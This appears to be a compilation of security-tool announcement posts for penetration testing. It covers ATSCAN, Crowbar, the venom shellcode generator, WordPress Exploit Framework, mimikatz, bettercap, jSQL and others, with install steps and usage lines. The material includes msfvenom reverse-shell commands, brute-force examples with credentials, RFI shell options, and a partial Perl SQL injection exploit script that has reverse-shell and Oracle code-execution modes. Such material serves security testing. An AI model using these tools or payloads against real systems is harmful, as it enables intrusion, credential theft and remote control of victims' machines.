changelog v5.0:
+ Changes all structure file.

Description:
ATSCAN
SEARCH engine
XSS scanner.
Sqlmap.
LFI scanner.
Filter wordpress and Joomla sites in the server.
Find Admin page.
Decode / Encode MD5 + Base64.

Libreries to install:
ap-get install libxml-simple-perl
aptitude install libio-socket-ssl-perl
aptitude install libcrypt-ssleay-perl
NOTE: Works in linux platforms. Best Run on Ubuntu 14.04, Kali Linux 2.0, Arch Linux, Fedora Linux, Centos | if you use a windows you can download manualy.

ATSCAN-v5-0

Examples:
Simple search:
Search: –dork [dork] –level [level]
Search + get ip: –dork [dork] –level [level] –ip
Search + get ip + server: –dork [dork] –level [level] –ip –server
Search with many dorks: –dork [dork1,dork2,dork3] –level [level]
Search + get ip+server: –dork [dorks.txt] –level [level]
Search + set save file: –dork [dorks.txt] –level [level] –save myfile.txt
Search + Replace + Exploit: –dork [dorks.txt] –level [level] –replace [string] –with [string] –valid [string]

Subscan from Serach Engine:
Search + Exploitation: –dork [dork] –level [10] –xss/–lfi/–wp …
Search + Server Exploitation: -t [ip] –level [10] –xss/–lfi/–wp …
Search + Replace + Exploit: –dork [dork] –level [10] –replace [string] –with [string] –exp [exploit] –xss/–lfi/–wp …

Validation:
Search + Exploit + Validation: –dork [dork] –level [10] –exp –isup/–valid [string]
Search + Server Exploit + Validation: -t [ip] –level [10] –exp –isup/–valid [string]
Search + Replace + Exploit: –dork [dork] –level [10] –replace [string] –with [string] –isup/–valid [string]

Use List / Target:
-t [target/targets.txt] –exp –isup/–valid [string]
-t [target/targets.txt] –xss/–lfi ..

Server:
Get Server sites: -t [ip] –level [value] –sites
Get Server wordpress sites: -t [ip] –level [value] –wp
Get Server joomla sites: -t [ip] –level [value] –joom
Get Server upload sites: -t [ip] –level [value] –upload
Get Server zip sites files: -t [ip] –level [value] –zip
WP Arbitry File Download: -t [ip] –level [value] –wpadf
Joomla RFI: -t [ip] –level [1] –joomfri –shell [shell link]
Scan basic tcp (quick): -t [ip] –ports –basic tcp
Scan basic udp basic (quick): -t [ip] –ports –basic udp
Scan basic udp+tcp: -t [ip] –ports –basic udp+tcp
Scan complete tcp: -t [ip] –ports –all tcp
Scan complete udp: -t [ip] –ports –all udp
Scan complete udp+tcp: -t [ip] –ports –all udp+tcp
Scan rang tcp: -t [ip] –ports –select tcp –start [value] –end [value]
Scan rang udp: -t [ip] –ports –select udp–start [value] –end [value]
Scan rang udp + tcp: -t [ip] –ports –select udp+tcp –start [value] –end [value]

Encode / Decode:
Generate MD5: –md5 [string]
Encode base64: –encode64 [string]
Decode base64: –decode64 [string]

External Command:
–dork [dork/dorks.txt] –level [level] –command “curl -v –TARGET”
–dork [dork/dorks.txt] –level [level] –command “curl -v –FULL_TARGET”
-t [target/targets.txt] –level [level] –command “curl -v –TARGET”
-t [target/targets.txt] –command “curl -v –FULL_TARGET”

How to Usage:

git clone https://github.com/AlisamTechnology/ATSCAN
cd ATSCAN
perl atscan.pl

Update:
cd ATSCAN
git pull

Source : https://github.com/AlisamTechnology | Our Post Before

Changelog v2.3.4:
+ iis_shortname_scanner.jar: lowercase file fix.
+ multi_targets.sh : lowercase file fix.
+ bin, src : v2.3.4

Microsoft IIS contains a flaw that may lead to an unauthorized information disclosure. The issue is triggered during the parsing of a request that contains a tilde character (~). This may allow a remote attacker to gain access to file and folder name information.

IIS-Short-Name-Scanner-v-2-4-3

It is possible to detect short names of files and directories which have an 8.3 equivalent in Windows by using some vectors in several versions of Microsoft IIS. For instance, it is possible to detect all short-names of “.aspx” files as they have 4 letters in their extensions.

Note: new techniques have been introduced to the latest versions of this scanner and it can now scan IIS8.5 when it is vulnerable.

It is not easy to find the original file or folder names based on the short names. However, the following methods are recommended as examples:

If you can guess the full extension (for instance .ASPX when the 8.3 extension is .ASP), always try the short name with the full extension.
Sometimes short names are listed in Google which can be used to find the actual names
Using text dictionary files is also recommended. If a name starts with another word, the second part should be guessed based on a dictionary file separately. For instance, ADDACC~1.ASP can be AddAccount.aspx, AddAccounts.aspx, AddAccurateMargine.aspx, etc
Searching in the website contents and resources can also be useful to find the full name. This can be achieved for example by searching Site Map in the Burp Suite tool.
Installation :
It has been compiled by using JDK 7. You only need to download the following files if you do not want to build this yourself:
+ IIS_shortname_scanner.jar
+ config.xml
+ run.bat
Remember to use Java v7.
You can also compile this application yourself. Please submit any issues in GitHub for further investigation. It should be straight forward to open this project in Eclipse as well.
Original research file: http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Sample Usage :

Usage:

git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner
java -jar iis_shortname_scanner.jar

Updates:
cd IIS-ShortName-Scanner
git pull

Download : Master.zip  | Clone Url  | Our Post Before
Source : https://code.google.com/p/iis-shortname-scanner-poc/

viper is A Python tool for automating penetration testing work, like intelligence gathering, testing, and reporting.

viper

Viper is still very much in development, but it aims to automate many of the common tasks carried out by penetration testers. Such as:
+ Email harvesting with theharvester.
+ File discovery via goofile and Google Hacking.
+ Investigating targets with DNS tools, urlcrazy, Shodan, and more.
+ Actively scanning targets with nmap and masscan.
+ Parsing scan results to find ports of interest and target them with tools like httpscreenshot and Nikto.
+ Managing reports and files for tasks like joining multiple Nessus files and parsing Burp reports.

Usage:

git clone https://github.com/chrismaddalena/viper
cd viper/setup
pip install -r requirements.txt
cd ..
./viper.py

Note: you must have shodan api.

Source : https://github.com/chrismaddalena

Crowbar (formally known as Levye) is a brute forcing tool that can be used during penetration tests. It was developed to brute force some protocols in a different manner according to other popular brute forcing tools. As an example, while most brute forcing tools use username and password for SSH brute force, Crowbar uses SSH key(s). This allows for any private keys that have been obtained during penetration tests, to be used to attack other SSH servers.

crowbar

Latest change 20/1/2016 v3.4 : code clean up.

Currently Crowbar supports:
+ OpenVPN (-b openvpn)
+ Remote Desktop Protocol (RDP) with NLA support (-b rdp)
+ SSH private key authentication (-b sshkey)
+ VNC key authentication (-b vpn)

Logs & Output
Once you have executed Crowbar, it generates 2 files for logging and result that are located in your current directory. Default log file name is crowbar.log which stores all brute force attempts while execution. If you don’t want use default log file, you should use -l log_path. The second file is crowbar.out which stores successful attempts while execution. If you don’t want use default output file, you should use -o output_path. After that you can observe Crowbar operations.

Usage:

Debian/Ubuntu/Kali 2.0:
apt-get -y install openvpn freerdp-x11 vncviewer

Fedora:
yum install openvpn freerdp-x11 vncviewer

git clone https://github.com/galkan/crowbar && cd crowbar
python crowbar.py -h


Example:
OpenVPN brute force attempt to a single IP address using a configuration file, a certificate file, a single username and a single password with specified port number: ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 443 -m /root/Desktop/vpnbook.ovpn -k /root/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF

Download : v.3.4.zip  | v.3.4.tar.gz
Source : https://github.com/galkan

Changelog v1.0.9 Comodo Venom 20/1/2016:
+ venom.sh
+ template: remove templates/easy_ps1.bat, remove templates/easy_ps1.bat
+ display shellcode:

venom-sh-1-0-9

The script will use msfvenom (metasploit) to generate shellcode in diferent formats ( c | python | ruby | dll | msi | hta-psh ), injects the shellcode generated into one funtion (example: python) “the python funtion will execute the shellcode in ram” and uses compilers like: gcc (gnu cross compiler) or mingw32 or pyinstaller to build the executable file, also starts a multi-handler to recibe the remote connection (reverse shell or meterpreter session).
—
‘shellcode generator’ tool reproduces some of the technics used by Veil-Evasion framework, unicorn.py, powersploit, etc,etc,etc..”P.S. some payloads are undetectable by AV soluctions yes!!!” one of the reazons for that its the use of a funtion to execute the 2º stage of shell/meterpreter directly into targets ram.

DEPENDENCIES :
— “crisp.sh will download/install all dependencies as they are needed”
— Zenity | Metasploit | GCC (compiler) | Pyinstaller (python-to-exe module)
— python-pip (pyinstaller downloader) | mingw32 (compile .EXE executables)
— pyherion.py (crypter) | PEScrambler.exe (PE obfuscator/scrambler.)

payload-multi-handler

Features
option – build – target – format – output
—
1 – shellcode – unix – C – C
2 – shellcode – windows – C – DLL
3 – shellcode – windows – DLL – DLL
4 – shellcode – windows – C – PYTHON/EXE
5 – shellcode – windows – C – EXE
6 – shellcode – windows – MSIEXEC – MSI
7 – shellcode – windows – C – RUBY
8 – shellcode – windows – HTA-PSH – HTA
9 – shellcode – windows – PSH-CMD – PS1
10 – shellcode – windows – PSH-CMD – BAT
11 – shellcode – webserver – PHP – PHP
12 – shellcode – multi OS – PYTHON(b64) – PYTHON
—
F – FAQ (frequent ask questions)
E – exit shellcode generator

Usage:

Download shell.tar.gz
tar xf shell.tar.gz
./venom.sh 

git clone git://git.code.sf.net/p/crisp-shellcode-generator/shell crisp-shellcode-generator-shell
cd crisp-shellcode-generator-shell
./venom.sh

UPdates:
cd cd crisp-shellcode-generator-shell
git pull

[ HOW DOES MSFVENOM ACTUALLY BUILDS SHELLCODE? ]
The default way to generate a windows binarie payload (.exe) using msfvenom its achieved through -f flag (Output format)
msfvenom -p payload-name LHOST=127.0.0.1 LPORT=666 -f exe -o payload.exe

But msfvenom allow us to build shellcode in diferent formats
like: asp, aspx, aspx-exe, dll, elf, exe, exe-small, hta-psh
macho, osx-app, psh, vba, vba-exe, vba-psh, vbs, bash, c
java, perl, powershell, python, ruby, sh, vbscript.
The complete list can be accessed using the follow command: sudo msfvenom --help-formats

now lets generate a simple shellcode to windows/shell/reverse_tcp
chosing powershell as output format "note that we will not use
the flag -o (Save the payload) option, this way the shellcode
generated will only displays in current terminal windows".
Using powershell as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f powershell

Using java as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f java

Using hex as output format:
msfvenom -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=666 -f hex

our post before | Download : shell.tar.gz (24 MB)
Source :http://sourceforge.net/p/crisp-shellcode-generator/

wordpress-exploit-framework is A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.

wordpress exploit framework

payloads are available?
+ bind_php: uploads a script that will bind to a specific port and allow WPXF to establish a remote shell.
+ custom: uploads and executes a custom PHP script.
+ download_exec: downloads and runs a remote executable file.
+ exec: runs a shell command on the remote server and returns the output to the WPXF session.
+ reverse_tcp: uploads a script that will establish a reverse TCP shell.

difference between auxiliary and exploit modules?
+ Auxiliary modules do not allow you to run payloads on the target machine, but instead allow you to extract information from the target, escalate privileges or provide denial of service functionality.

+ Exploit modules require you to specify a payload which subsequently gets executed on the target machine, allowing you to run arbitrary code to extract information from the machine, establish a remote shell or anything else that you want to do within the context of the web server.

Usage

git clone https://github.com/rastating/wordpress-exploit-framework && cd wordpress-exploit-framework
bundle install
gem install bundler
ruby wpxf.rb

update:
cd wordpress-exploit-framework
git pull origin master


For all command and create API:
git clone https://github.com/rastating/wordpress-exploit-framework.wiki.git

Source : http://www.getwpxf.com/

Changelog VBScan 0.1.4 [Dennis Ritchie]:
+ Changed vulnerability scanner engine
+ Changed default specified timeout to 180 seconds
+ Added VBulletin 5.x RCE Exploit
+ Added txt report output
+ Fixed YUI 2.9.0 XSS false positive
+ Fixed reported bugs

VBScan is an opensource project in perl programming language to detect VBulletin CMS vulnerabilities and analyses them .

VBScan is a Black Box vBulletin Vulnerability Scanner

Why VBScan ? If you want to do a penetration test on a vBulletin Forum, VBScan is Your best shot ever! This Project is being faster than ever and updated with the latest VBulletin vulnerabilities.

Usage:

git clone https://github.com/rezasp/vbscan && cd vbscan
perl vbscan.pl

Update:
cd vbscan
git pull origin master

Source :http://reza.es/

Changelog v1.3.3:
New Features:
+ New DICT protocol credentials parser.
+ New Redis protocol credentials parser.
+ New MPD protocol credentials parser.
+ New RLogin protocol credentials parser.
+ New SNPP protocol credentials parser.
+ New –log-timestamp option to enable timestamps while logging.
Fixes:
– Fixed issue #114 : Error while parsing IPv6 address.
Code Style:
+ Better SocketError handling in Proxy class.

bettercap-v-1-3-3

bettercap is a complete, modular, portable and easily extensible MITM tool and framework with every kind of diagnostic and offensive feature you could need in order to perform a man in the middle attack.
DEPENDS:
All dependencies will be automatically installed through the GEM system, in some case you might need to install some system dependency in order to make everything work:
sudo apt-get install ruby-dev libpcap-dev

HOW TO INSTALL:
Stable Release ( GEM ):
gem install bettercap

From Source:

Ubuntu/Debian/Kali:
sudo apt-get install ruby-dev libpcap-dev

Fedora/Centos/redhat
yum install ruby-dev libpcap-dev

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem

Update: just type inyour terminal gem install bettercap

Download : v1.3.3.tar.gz  | v1.3.3.zip
Source : http://www.bettercap.org/ | Our Post Before

Changelog v2.1 alpha 20160131 (oe.eo) edition:
Lots of internals and 2003 SP1 support
– [new] sekurlsa module and its kerberos submodule now work with old 2003 SP1 (live or dump)
– [remove] misc::wifi with WLanAPI will be replaced with dpapi::wifi raw access
– [fix] crypto::certificate buffer free at the right place
– [internal] new kull_m_file Find function with callback
– [internal] removed kull_m_file functions (read/write/file exist) with environment-variables, now used for all command-lines – [internal] kull_m_crypto_hash better checks for CRC32 trick – [internal] mimilove for Windows 2000 banner update – [internal] crypto::system now works with buffers (for future registry access)
– [internal] kerberos::ptt & crypto::system call kull_m_file_Find instead of their own implementation
– [internal] remove CrtlHandler, from mimikatz main modules, when exiting to let PowerShell clean
– [internal] expand command lines environment-variables from mimikatz main modules

mimikatz v2.1 alpha 20160131 (oe.eo) edition

mimikatz is a tool I’ve made to learn C and make somes experiments with Windows security.
It’s now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

Build
mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:
+ for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 – http://www.microsoft.com/download/details.aspx?id=44914)
+ for mimikatz driver, mimilove (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) – http://www.microsoft.com/download/details.aspx?id=11800
mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =)

Build the solution
+ After opening the solution, Build / Build Solution (you can change architecture)
+ mimikatz is now built and ready to be used! (Win32 / x64)
— you can have error MSB3073 about _build_.cmd and mimidrv, it’s because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK.
Download : mimikatz_trunk.7z  | mimikatz_trunk.zip
Source : https://github.com/gentilkiwi | http://blog.gentilkiwi.com/mimikatz

Changelog v0.74:
Bugs fixes and Code quality
+ Fix #1500, Fix #1544, Fix #1571, Fix #1617, Fix #1670, Fix #1671, Fix #1683
+ Database vendors as Enum
+ Tests cleaning
+ SonarQube code quality cleaning

jsql-v0-74

jSQL Injection is a lightweight application used to find database information from a distant server.
jSQL is free, open source and cross-platform (Windows, Linux, Mac OS X, Solaris).

jSQL Injection is a lightweight application used to find database information from a distant server.

Kali Linux logo jSQL is part of Kali Linux, the official new BackTrack penetration distribution.
jSQL is also included in Black Hat Sec, ArchAssault Project and BlackArch Linux.

Disclaimer :
Attacking web-server is illegal without prior mutual consent. The end user is responsible and obeys all applicable laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Download : jsql-injection-alpha.v0.74.jar(2.91 MB)
Source : https://github.com/ron190
Our Post Before : http://seclist.us/jsql-injection-v0-73-a-java-tool-for-automatic-database-injection.html

Changelog v0.9.9:
– Async websocket server
– New system of notifications
– fixes

This software is necessary for learning and improving skills and knowledge of attacks on information systems and to conduct audits and proactive protection. The need to develop domestic Pentest framework – accessible, affordable, high-confidence – is long overdue. Therefore, for domestic (as well as to friendly domestic) markets IB was created EAST framework. EAST is a framework that has in its arsenal all the necessary tools to operate a broad range of vulnerabilities from the Web to a buffer overflow. From other similar instruments EAST is simple and easy to use. To master it, and begin to develop in the field of information security can be even a novice researcher!

EasT v0.9.9

Main characteristics:
+Security framework! Software used for information security must be a high level of user confidence. The EAST is implemented open, easily verifiable source code for Python. it is used for all components of the framework and modules. In this relatively small amount of code simplifies the verification of any user. During installation no changes in the OS is not performed
+ Maximum simplicity of the framework. Download the archive, run the main python script start.py, implementing the start-stop exploits, messaging … All management – locally or remotely through a browser.
+ Easily create and edit. The ability to edit and add modules and exploits “on the fly” without restarting. Code module body is simple and minimal volume.
+ Cross-platform + minimum requirements and dependencies. Tested on Windows and Linux. I should work wherever there is Python. The framework contains all the dependencies and “pulls” ext. libraries.
+ Full functionality of the classic framework Pentest! Despite the simplicity and “no congestion” – has in its arsenal of all necessary means to operate a broad range of vulnerabilities from the Web to a buffer overflow.
+ Great opportunities for capacity. Server-client architecture, API for messaging, support libraries – allow third party developers to create their own open-source solutions, or participate in the development of EAST.

east-cli

Exploit list:
+ ef_bitdefender_gravityzone_dt.py Directory traversal
+ ef_cogento_datahub_afd.py Arbitrary File Download
+ ef_e_detective_afd.py Arbitrary File Download
+ ef_easyfile_webserver_sbo.py Stack Buffer Overwlow
+ ef_fhfs_rce.py Remote Command Execution
+ ef_joomla_gallery_wd_bsqli.py Blind SQL Injection
+ ef_solarwinds_log_and_event_manager_rce.py Remote Command Execution
+ ef_symantec_pcanywhere_host_rce.py Remote Command Execution
+ ef_wincc_miniweb_dos.py Denial of Service
+ ef_winrar_rce.py Remote Command Execution
+ port_scanner.py Tools

Installation and Usage:

git clone https://github.com/C0reL0ader/EaST && cd EaST
python start.py
then open your favorite Browser for GUI.

Updates:
cd EaST
git pull origin master

Source: https://github.com/C0reL0ader & http://eastfw.com/  | Our Post Before

PowerSCCM is a Functions to facilitate connections to and queries from SCCM databases for both offensive and defensive applications. The code is kept PowerShell Version 2.0 compliant with no external dependencies.

Usage:
PowerSCCM will keep track of established SCCM database sessions, allowing you to reuse these sessions with common queries. To establish a new session, use New-SCCMSession along with the name of the computer with the SCCM database (-ComputerName) and the SCCM site database name (-DatabaseName):
New-SCCMSession -ComputerName SCCM.testlab.local -DatabaseName CM_LOL

This session is now stored in $Script:SCCMSessions and reusable by Get-SCCMSession.

To find the available SCCM databases on a server you have access to, use Find-SCCMDatabase:
Find-SCCMDatabase -ComputerName SCCM.testlab.local

To retrieve all current SCCM session objects, us Get-SCCMSession with optional -Id, -Name, -ComputerName, or -DatabaseName arguments. To close and remove a session, use Remove-SCCMSession with any of the same arugments, or the -Session argument for a SCCM session object (passable on the pipeline).
Get-SCCMSession | Remove-SCCMSession

Functions to facilitate connections to and queries from SCCM databases for both offensive and defensive applications.

SCCM Database/Server Functions

Various functions that deal with querying/changing information concerning the SCCM database or server, as opposed to dealing with querying inventoried client information.

Find-SCCMDatabase

Finds the accessible SCCM databases given a MSSQL server.
+ Get-SCCMApplicationCI : Returns information on user-deployed applications in an SCCM database.
+ Get-SCCMPackage : Returns information on user-deployed packages in an SCCM database.
+ Get-SCCMConfigurationItem : Returns SCCM configuration items in an SCCM database.
+ Set-SCCMConfigurationItem : Sets a field to a particular value for a SCCM configuration keyed by CI_ID.
+ Get-SCCMCollection : Returns SCCM collections that exist on the primary site server.
+ Get-SCCMCollectionMember : Returns SCCM collection members.

Get-SCCM*

Query functions require -Session (passable on the pipeline):
– Get-SCCMSession | Get-SCCMRecentlyUsedApplication | Export-CSV -NoTypeInformation recent_apps.csv
– Get-SCCMRecentlyUsedApplication -Session $Session | Export-CSV -NoTypeInformation recent_apps.csv
All of these functions also share a common set of optional parameters:

-Newest – return only the X newest entries from the database.
-OrderBy – order the results by a particular field.
-Descending – if -OrderBy is set, display results in descending order.
-ComputerNameFilter – only return results for a particular computer name.
-TimeStampFilter – the SCCM collection timestamp to filter on, accepts <> operators.
Each function also has a set of custom -XFilter parameters that allow for query filtering on specific field names/values.

+ Get-SCCMService : Returns information on the current set of running services as of the last SCCM agent query/checkin.
+ Get-SCCMServiceHistory : Returns information on the historical set of running services as of the last SCCM agent query/checkin.
+ Get-SCCMAutoStart : Returns information on the set of autostart programs as of the last SCCM agent query/checkin.
+ Get-SCCMProcess : Returns information on the set of currently running processes as of the last SCCM agent query/checkin.
+ Get-SCCMProcessHistory : Returns information on the historical set of running processes as of the last SCCM agent query/checkin.
+ Get-SCCMRecentlyUsedApplication : Returns information on recently launched applications on hosts as of the last SCCM agent query/checkin.
+ Get-SCCMDriver : Returns information on the set of currently laoded system drivers as of the last SCCM agent query/checkin.
+ Get-SCCMConsoleUsage : Returns historical information on user console usage as of the last SCCM agent query/checkin.
+ Get-SCCMSoftwareFile : Returns information on inventoried non-Microsoft software files. This option is not enabled by default in SCCM- we recommend setting SCCM to inventory all *.exe files on hosts.
+ Get-SCCMBrowserHelperObject : Returns information on discovered browser helper objects. This option is not enabled by default in SCCM.
+ Get-SCCMShare : Returns information on discovered shares.This option is not enabled by default in SCCM.
+ Get-SCCMPrimaryUser : Returns user/machine pairings where the user is set as a ‘Primary User’ through SCCM.

Find-SCCM*
+ Meta-functions that use the Get-SCCM* query functions to find common ‘bad’ things. All of these functions -Session (passable on the pipeline).
+ Find-SCCMRenamedCMD : Finds renamed cmd.exe executables using Get-SCCMRecentlyUsedApplication and appropriate filters.
+ Find-SCCMUnusualEXE : Finds recently launched applications that don’t end in *.exe using Get-SCCMRecentlyUsedApplication and appropriate filters.
+ Find-SCCMRareApplication : Finds the rarest -Limit recently launched applications that don’t end in *.exe using Get-SCCMRecentlyUsedApplication and appropriate filters.
+ Find-SCCMPostExploitation : Finds recently launched applications commonly used in post-exploitation.
+ Find-SCCMPostExploitationFile : Finds indexed .exe’s commonly used in post-exploitation.
+ Find-SCCMMimikatz :Finds launched mimikatz instances by searching the ‘FileDescription’ and ‘CompanyName’ fields of recently launched applications.
+ Find-SCCMMimikatzFile : Finds inventoried mimikatz.exe instances by searching the ‘FileDescription’ field of inventoried .exe’s.

SCCM Active Directory Functions
+ Get-SCCMADForest : Returns information on Active Directory forests enumerated by SCCM agents.
+ Get-SCCMADUser : Returns information on Active Directory users enumerated by SCCM agents.
+ Get-SCCMADGroup : Returns information on Active Directory group enumerated by SCCM agents.
+ Get-SCCMADGroupMember : Returns information on Active Directory group membership enumerated by SCCM agents.

Download : PowerSCCM.zip
Source : https://github.com/PowerShellMafia

striptls – poc implementation of STARTTLS stripping attacks.
SMTP
+ SMTP.StripFromCapabilities – server response capability patch
+ SMTP.StripWithInvalidResponseCode – client STARTTLS stripping, invalid response code
+ SMTP.UntrustedIntercept – STARTTLS interception (client and server talking ssl) (requires server.pem in pwd)
+ SMTP.StripWithTemporaryError
+ SMTP.StripWithError
POP3 (untested)
+ POP3.StripFromCapabilities
+ POP3.StripWithError
+ POP3.UntrustedIntercept
IMAP (untested)
+ IMAP.StripFromCapabilities
+ IMAP.StripWithError
+ IMAP.UntrustedIntercept
FTP (untested)
+ FTP.StripFromCapabilities
+ FTP.StripWithError
+ FTP.UntrustedIntercept
NNTP (untested)
+ NNTP.StripFromCapabilities
+ NNTP.StripWithError
+ NNTP.UntrustedIntercept
XMPP (untested)
+ XMPP.StripFromCapabilities

striptls – auditing proxy

Usage:

git clone https://github.com/tintinweb/striptls && cd striptls
python setup.py
python python striptls --help

cd striptls
git pull origin master

Source : https://github.com/tintinweb

Script List:
+ APless WPA Handshake Collector
Script collects probe requests from client devices. Using the SSID in probe request, airbase-ng is used to iteratively set up two access points with the same name where one uses WPA and the other WPA2 protection. All handshakes are collected and can be found in caps/handhshakes-all-01.cap

apless_harvester

+ WPA handshake collector
Scapy is used to sniff beacon frames from WPA and WPA2 protected Access points. Aircrack-ng is used to deauth all clients connected to these networks. Collected packets are assessed if valid WPA Handshakes are found. Valid Handshakes can be found in the handshakes folder.

wpa_harvester

Dependencies:
+ Aircrack-ng suite
+ scapy

Usage:

git clone https://github.com/0x7ab00/Wifi-pentesting && cd Wifi-pentesting
cd apless_harvester
python apless_harvester.py
cd wpa_harvester
python harvester.py

Source : https://github.com/0x7ab00

sqladdict is an sql injection script with Integer based Injection & String Based Injection.
Database support:
+ MSSQL (Default)
+ MYSQL
+ POSTGRES
+ ORACLE

sqladdict v0.5

Requirement:
+ Metasploit
+ perl

Type of Injection :
0 is blind injection based on True and False responses
1 Blind injection based on True and Error responses
2 Injection in order by and group by
3 Extract data with SYS privileges[ORACLE dbms_export_extension exploit]
4 OS code execution [ORACLE dbms_export_extension exploit]
5 Read files [ORACLE dbms_export_extension exploit, based on java]
6 Code execution [ORACLE DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC exploit]
7 Code execution [ORACLE SYS.KUPP$PROC.CREATE_MASTER_PROCESS(), DBA Privs]
-cmd=revshell [Type 7 supports meterpreter payload execution, run generator.exe first]
-cmd=cleanup [run this after exiting metasploit session, it will clean up the traces]
8 OS code execution [ORACLE DBMS_JAVA_TEST.FUNCALL, with JAVA IO Permissions]
-cmd=revshell [Type 8 supports meterpreter payload execution, run generator.exe first]

Script:

#!/usr/bin/perl --
use LWP::Simple;
use LWP::UserAgent;
use Getopt::Long;
use IO::Handle;
use strict;
use threads;
use threads::shared;
use Time::HiRes qw( usleep);
use URI;
use Term::ANSIColor qw(:constants);

$| = 1;
my $default_debug = 0;
my $default_length = 32;
my $default_method = "GET";
my $default_cmd = "ping 127.0.0.1";
my $default_file = "C:\\boot.ini";
my $default_stype= 0;
my $default_time = 0;
my $version = "0.5";
my $default_useragent = "SQLaddict v$version";
my $default_sql = "(select \@\@version)";
my $LOGFILE="cmd.txt";
my $line;
my $ip="";
my $port="";
my $err_count=0;
my $url_clean;
$| = 1;
my ($args, $solution);
my (%vars, @varsb);
my ($lastvar, $lastval);
my ($scheme, $authority, $path, $query, $fragment);
my ($head, $tail, $high);
my $hits = 0; 
my $amatch = 0;
my ($ua,$req);
my $furl;
my ($url, $type, $database, $sql, $time, $rtime, $match, $nomatch, $uagent, $debug);
my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent); 
my ($start, $length, $method, $cmd, $file, $stype, $cookie, $blind);
my ($help, $get);
my ($ascii, $binary);

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#                                                           #
#      change variables' name below                         #
#                                                           #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

my $options = GetOptions (
  'help!'            => \$help, 
  'url=s'            => \$url,
  'database=s'	     => \$database,
  'type=s'	     => \$type,	
  'get=s'            => \$get,
  'sql=s'            => \$sql,
  'blind=s'          => \$blind,
  'match=s'          => \$match,
  'nomatch=s'        => \$nomatch,
  'start=s'          => \$start,
  'length=s'         => \$length,
  'method=s'	     => \$method,
  'cmd=s'	     => \$cmd,
  'file=s'	     => \$file,
  'stype=s'	     => \$stype,
  'uagent=s'	     => \$uagent,
  'ruagent=s'	     => \$ruagent,
  'cookie=s'	     => \$cookie,
  'proxy=s'          => \$proxy,
  'proxy_user=s'     => \$proxy_user,
  'proxy_pass=s'     => \$proxy_pass,
  'rproxy=s'         => \$rproxy,
  'debug!'           => \$debug, 
  'binary!'          =>\$binary, 
  'ascii!'           => \$ascii, 
  'rtime=s'          => \$rtime, 
  'time=i'           => \$time ,
  'port=s'           => \$port, 
  'ip=s'             => \$ip 

  );

&help unless ($url);
&help if $help eq 1;

# Default Options' Storage
$uagent         ||= $default_useragent; 
$debug          ||= $default_debug; 
$length         ||= $default_length; 
$solution       ||= $start;
$method         ||= $default_method;
$cmd            ||= $default_cmd;
$file           ||= $default_file;
$stype          ||= $default_stype;
$sql            ||= $default_sql;
$time           ||= $default_time;

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#                                                           #
#      Methods                                              #
#                                                           #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

my $method_gp ;
my $url_gp ;
my $cookies_gp;
my $proxy_gp ;
sub get_or_post {
        my ($method_gp, $url_gp, $cookies_gp, $proxy_gp) = @_;
		my $uri = URI->new($url_gp);
        print Dumper $uri->query;

        my $req;
        if (($method_gp eq "GET")||($method_gp eq "get")) {
				$req = HTTP::Request->new(GET => $uri->scheme . "://" . $uri->host . ":" . $uri->port . $uri->path . "?" . $uri->query);
					} 

					elsif (($method_gp eq "POST")||($method_gp eq "post")) {
$req = HTTP::Request->new(POST=> $uri->scheme . "://" . $uri->host . ":" . $uri->port . $uri->path);
$req->content($uri->query);
        } 
		else {
                die "[!] ERROR: unknown method: $method\n";
        }

        my $ua = LWP::UserAgent->new;
        $ua->proxy(['http', 'https'], $proxy_gp) if defined($proxy_gp);
        $ua->default_header('Cookie' => $cookies_gp) if defined($cookies_gp);
		$ua->default_header('Content-Type' => 'application/x-www-form-urlencoded');
        my $res = $ua->request($req);
        return $res->as_string;
} 
&createlwp();
&parseurl();
my $end=0;
if ( ! defined($blind)) {
		$lastvar = $varsb[$#varsb];
		$lastval = $vars{$lastvar};
} else {
		$lastvar = $blind;
		$lastval = $vars{$blind};
}

if (! defined($type)) {
	$type=0;
}

if ($type==3) {
	$database=3;
}
if ($type==4) {
	$database=3;
}
if (! defined($database)) {
       
print "\n[!] WARNING: Did not specify any database, MSSQL by default\n";
$database=0;
}

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#                                                           #
#      Match check                                          #
#                                                           #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

if (defined($cookie)) { &cookie() }
if (!$match && !$nomatch){
	print "\n[=] Matching String\n" if $debug == 1;
	$amatch = "1";
	$match = fmatch("$url"," AND 1=");
	if ($match eq "no vulnerable") 
		{ 
		print "\nNo vuln: 2nd\n" if $debug ==1;
		$match = fmatch("$url"," AND 1='");
	};
	if ($match eq "no vulnerable") { 
		print "[!] Not vulnerable \n\nIf it's vulnerable supply the '-match' string\n";
		exit 0; 
	} 
}
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#                                                           #
#      Oracle exec                                          #
#                                                           #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

